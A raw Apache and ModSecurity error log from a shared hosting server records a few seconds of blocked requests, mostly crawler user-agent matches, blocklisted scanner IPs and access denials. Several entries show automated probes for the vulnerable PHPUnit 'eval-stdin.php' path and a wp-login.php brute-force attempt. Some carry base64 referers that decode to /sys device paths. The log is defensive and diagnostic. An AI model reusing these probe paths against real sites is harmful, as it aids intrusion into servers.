111.225.148.60:54242] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:user-agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.smartsafetycenter.com"] [uri "/wp-content/uploads/2025/03/LIGERO2S1P-BLK-0000.jpg"] [unique_id "ai3yityTkdrNlD40tSGclwAAADY"] [Sat Jun 13 18:15:06.439566 2026] [access_compat:error] [pid 648189:tid 648317] [remote 57.141.14.94:50580] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:06.439922 2026] [access_compat:error] [pid 648189:tid 648317] [remote 57.141.14.94:50580] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:06.571728 2026] [access_compat:error] [pid 646876:tid 646943] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:15:06.572010 2026] [access_compat:error] [pid 646876:tid 646943] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:15:06.597066 2026] [security2:error] [pid 648189:tid 648314] [remote 185.177.72.9:22392] ModSecurity: Access denied with code 406 (phase 2). Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "61"] [id "390616"] [rev "2"] [msg "Atomicorp.com WAF Rules: POST request must have a Content-Length header"] [severity "WARNING"] [hostname "bradgoreski.co"] [uri "/_next/image"] [unique_id "ai3yilWSojQL4F7upKBSugAA31w"] [Sat Jun 13 18:15:06.632284 2026] [access_compat:error] [pid 648189:tid 648329] [remote 57.141.14.24:65160] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:06.632570 2026] [access_compat:error] [pid 648189:tid 648329] [remote 57.141.14.24:65160] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:06.723214 2026] [security2:error] [pid 646876:tid 646949] [remote 220.181.108.158:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 158.108.181.220.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "forum.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yityTkdrNlD40tSGcnwAAD0Y"] [Sat Jun 13 18:15:06.745310 2026] [access_compat:error] [pid 648189:tid 648341] [remote 57.141.14.56:42276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:06.745602 2026] [access_compat:error] [pid 648189:tid 648341] [remote 57.141.14.56:42276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:07.005060 2026] [security2:error] [pid 648189:tid 648342] [remote 185.177.72.9:22402] ModSecurity: Access denied with code 406 (phase 2). Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "61"] [id "390616"] [rev "2"] [msg "Atomicorp.com WAF Rules: POST request must have a Content-Length header"] [severity "WARNING"] [hostname "bradgoreski.co"] [uri "/RSC/7uo3h65ak13xc9a.txt"] [unique_id "ai3yi1WSojQL4F7upKBSzQABBHc"] [Sat Jun 13 18:15:07.121382 2026] [access_compat:error] [pid 646876:tid 646914] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL2V2ZW50NC9zdWJzeXN0ZW0vaW5wdXQ3L2lk [Sat Jun 13 18:15:07.122002 2026] [access_compat:error] [pid 646876:tid 646914] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL2V2ZW50NC9zdWJzeXN0ZW0vaW5wdXQ3L2lk [Sat Jun 13 18:15:07.152590 2026] [access_compat:error] [pid 648189:tid 648335] [remote 57.141.14.41:55285] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:07.152892 2026] [access_compat:error] [pid 648189:tid 648335] [remote 57.141.14.41:55285] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:07.154608 2026] [security2:error] [pid 646876:tid 646921] [remote 17.241.75.43:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 43.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yi9yTkdrNlD40tSGcsQAAfyo"] [Sat Jun 13 18:15:07.260278 2026] [security2:error] [pid 646876:tid 647131] [client 47.79.205.217:26720] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.205.79.47.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "forum.loohan.com"] [uri "/viewtopic.php"] [unique_id "ai3yi9yTkdrNlD40tSGctQAAAHs"], referer: https://www.google.com/ [Sat Jun 13 18:15:07.402189 2026] [security2:error] [pid 648189:tid 648282] [remote 185.177.72.9:22416] ModSecurity: Access denied with code 406 (phase 2). Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "61"] [id "390616"] [rev "2"] [msg "Atomicorp.com WAF Rules: POST request must have a Content-Length header"] [severity "WARNING"] [hostname "bradgoreski.co"] [uri "/RSC/R/8mljqaiewub4mn8.txt"] [unique_id "ai3yi1WSojQL4F7upKBS2AAA1jw"] [Sat Jun 13 18:15:07.494499 2026] [security2:error] [pid 646876:tid 646909] [remote 210.211.99.176:47234] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 176.99.211.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "beetreeaudio.com"] [uri "/wp-login.php"] [unique_id "ai3yi9yTkdrNlD40tSGcugAAZR4"] [Sat Jun 13 18:15:07.602030 2026] [access_compat:error] [pid 648189:tid 648297] [remote 57.141.14.97:38776] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:07.602297 2026] [access_compat:error] [pid 648189:tid 648297] [remote 57.141.14.97:38776] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:07.614831 2026] [access_compat:error] [pid 646876:tid 647000] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:15:07.615255 2026] [access_compat:error] [pid 646876:tid 647000] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:15:07.628444 2026] [security2:error] [pid 646876:tid 646896] [remote 17.246.15.132:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 132.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yi9yTkdrNlD40tSGcwAAAOBE"] [Sat Jun 13 18:15:07.669146 2026] [security2:error] [pid 648189:tid 648358] [client 185.177.72.9:26302] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "ai3yi1WSojQL4F7upKBS4AAAAIo"] [Sat Jun 13 18:15:07.906602 2026] [access_compat:error] [pid 646876:tid 646915] [remote 57.141.14.19:51746] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:07.907071 2026] [access_compat:error] [pid 646876:tid 646915] [remote 57.141.14.19:51746] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:07.940168 2026] [security2:error] [pid 648189:tid 648382] [client 185.177.72.9:26314] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "ai3yi1WSojQL4F7upKBS4gAAAKI"] [Sat Jun 13 18:15:08.015799 2026] [access_compat:error] [pid 648189:tid 648283] [remote 57.141.14.59:45305] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:08.016246 2026] [access_compat:error] [pid 648189:tid 648283] [remote 57.141.14.59:45305] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:08.118412 2026] [security2:error] [pid 648189:tid 648309] [remote 216.73.216.182:16754] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 182.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai3yjFWSojQL4F7upKBS5wAAs1c"] [Sat Jun 13 18:15:08.157923 2026] [access_compat:error] [pid 646876:tid 646939] [remote 57.141.14.29:40065] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:08.158246 2026] [access_compat:error] [pid 646876:tid 646939] [remote 57.141.14.29:40065] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:08.164540 2026] [access_compat:error] [pid 646876:tid 646973] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDQvbW91c2UxL2RldmljZQ== [Sat Jun 13 18:15:08.165012 2026] [access_compat:error] [pid 646876:tid 646973] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDQvbW91c2UxL2RldmljZQ== [Sat Jun 13 18:15:08.185144 2026] [security2:error] [pid 648189:tid 648313] [remote 17.22.253.239:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 239.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yjFWSojQL4F7upKBS6gAAqFs"] [Sat Jun 13 18:15:08.207790 2026] [security2:error] [pid 646876:tid 647030] [client 185.177.72.9:26322] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "ai3yjNyTkdrNlD40tSGc4AAAABY"] [Sat Jun 13 18:15:08.218084 2026] [security2:error] [pid 646876:tid 646959] [remote 17.241.219.42:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 42.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yjNyTkdrNlD40tSGc4QAAHFA"] [Sat Jun 13 18:15:08.257277 2026] [lsapi:warn] [pid 648189:tid 648295] [remote 47.128.121.55:35376] [host www.craigbrownphd.com] Backend log: PHP Warning: Trying to access array offset on value of type bool in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/widget-base.php on line 224\n [Sat Jun 13 18:15:08.257320 2026] [lsapi:warn] [pid 648189:tid 648295] [remote 47.128.121.55:35376] [host www.craigbrownphd.com] Backend log: PHP Warning: Undefined array key -1 in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/controls-stack.php on line 696\n [Sat Jun 13 18:15:08.266033 2026] [access_compat:error] [pid 648189:tid 648294] [remote 57.141.14.52:59624] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:08.266303 2026] [access_compat:error] [pid 648189:tid 648294] [remote 57.141.14.52:59624] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:08.387006 2026] [security2:error] [pid 646876:tid 646960] [remote 17.241.219.60:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 60.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yjNyTkdrNlD40tSGc5gAAV1E"] [Sat Jun 13 18:15:08.471190 2026] [security2:error] [pid 648189:tid 648469] [client 185.177.72.9:26338] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "ai3yjFWSojQL4F7upKBS7wAAAPM"] [Sat Jun 13 18:15:08.513305 2026] [access_compat:error] [pid 648189:tid 648221] [remote 57.141.14.34:57172] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:08.513746 2026] [access_compat:error] [pid 648189:tid 648221] [remote 57.141.14.34:57172] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:08.676037 2026] [access_compat:error] [pid 646876:tid 646941] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZGV2aWNlL2RyaXZlci9zZXJpbzEvaW5wdXQvaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:15:08.676314 2026] [access_compat:error] [pid 646876:tid 646941] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZGV2aWNlL2RyaXZlci9zZXJpbzEvaW5wdXQvaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:15:08.736017 2026] [security2:error] [pid 648189:tid 648468] [client 185.177.72.9:26342] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "ai3yjFWSojQL4F7upKBS-gAAAPI"] [Sat Jun 13 18:15:09.010422 2026] [security2:error] [pid 648189:tid 648364] [client 185.177.72.9:26346] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "ai3yjVWSojQL4F7upKBTAQAAAJA"] [Sat Jun 13 18:15:09.210603 2026] [access_compat:error] [pid 646876:tid 646932] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:15:09.211027 2026] [access_compat:error] [pid 646876:tid 646932] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 